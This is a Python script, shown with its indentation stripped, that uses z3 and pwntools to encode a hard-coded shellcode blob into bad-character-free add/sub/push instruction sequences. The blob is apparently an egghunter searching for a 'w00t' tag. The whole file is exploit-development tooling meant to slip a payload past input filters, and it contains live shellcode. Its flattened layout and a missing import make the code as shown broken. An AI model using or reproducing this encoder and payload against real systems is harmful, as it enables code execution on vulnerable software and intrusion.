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| from z3 import *
from pwn import *
import sys
shellcode = ""
shellcode += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
shellcode += "\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74"
shellcode += "\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
shellcode = shellcode[::-1]
shellcode += "\x41"*(math.ceil(len(shellcode)/4)*4-len(shellcode))
bad_chars = [0x0a, 0x0d, 0x2F, 0x3A, 0x3F, 0x40]
is_zerofied = True
def solve(leftover,target):
global bad_chars
global is_zerofied
nozeros = {}
zeros = {}
result = [nozeros,zeros]
leftovers = [leftover,0]
for op in range(2):
for ops in range(1,4):
s = Solver()
s.set("timeout",10000)
var = []
sign = []
for i in range(ops):
var.append(BitVecs('var_'+str(i),32)[0])
sign.append(Int('sign_'+str(i)))
for i in sign:
if 0x2d in bad_chars:
s.add(i==1)
elif 0x05 in bad_chars:
s.add(i==-1)
else:
s.add(Or(i==1,i==-1))
for i in var:
for k in range(0,32,8):
s.add(Extract(k+7, k, i) > BitVecVal(0x00, 8))
s.add(ULT(Extract(k+7, k, i),BitVecVal(0x80, 8)))
for c in bad_chars:
s.add(Extract(k+7, k, i) != BitVecVal(c, 8))
func = lambda var,sign:var*Int2BV(sign,32)
s.add(leftovers[op]+sum(list(map(func,var,sign)))==target)
if s.check() == sat:
for i in s.model():
result[op][i.name()]=s.model()[i].as_long()
break
if len(zeros) == 0 and len(nozeros) == 0:
return {}
elif len(zeros) == 0:
is_zerofied = False
return nozeros
elif len(nozeros) == 0:
is_zerofied = True
return zeros
else:
if len(zeros)+2<len(nozeros):
is_zerofied = True
return zeros
else:
is_zerofied = False
return nozeros
def zerofy():
global bad_chars
s = Solver()
x,y = BitVecs('x y',32)
var = [x,y]
for i in var:
for k in range(0,32,8):
s.add(Extract(k+7,k,i) > BitVecVal(0x00,8))
s.add(ULT(Extract(k+7, k, i),BitVecVal(0x80, 8)))
for c in bad_chars:
s.add(Extract(k+7, k, i) != BitVecVal(c, 8))
s.add(x&y==0)
if s.check() == sat:
r = []
for i in s.model():
r.append(s.model()[i].as_long())
return r
return [0,0]
final = b""
if 0x25 in bad_chars or (0x2d in bad_chars and 0x05 in bad_chars):
print("cannot be decoded!")
sys.exit(0)
zero1,zero2 = zerofy()
if zero1==0 and zero2==0:
print("cannot be decoded!")
sys.exit(0)
print("and eax, 0x%08x" % zero1)
final += asm("and eax, 0x%08x" % zero1)
print("and eax, 0x%08x\n" % zero2)
final += asm("and eax, 0x%08x" % zero2)
leftover = 0
for i in range(int(len(shellcode)/4)):
tmp = shellcode[i*4:i*4+4]
target = int("0x"+''.join(str(hex(ord(j)))[2:].zfill(2) for j in tmp),16)
res = solve(leftover,target)
if not res:
print("cannot encode!")
sys.exit(0)
ops = int(len(res)/2)
if is_zerofied:
print("and eax, 0x%08x" % zero1)
final += asm("and eax, 0x%08x" % zero1)
print("and eax, 0x%08x" % zero2)
final += asm("and eax, 0x%08x" % zero2)
for i in range(ops):
if res['sign_'+str(i)] == -1:
print("sub eax, 0x%08x" % res['var_'+str(i)])
final += asm("sub eax, 0x%08x" % res['var_'+str(i)])
else:
print("add eax, 0x%08x" % res['var_'+str(i)])
final += asm("add eax, 0x%08x" % res['var_'+str(i)])
print("push eax\n")
final += asm("push eax")
leftover = target
print(''.join("\\x%02x" % i for i in final))
|
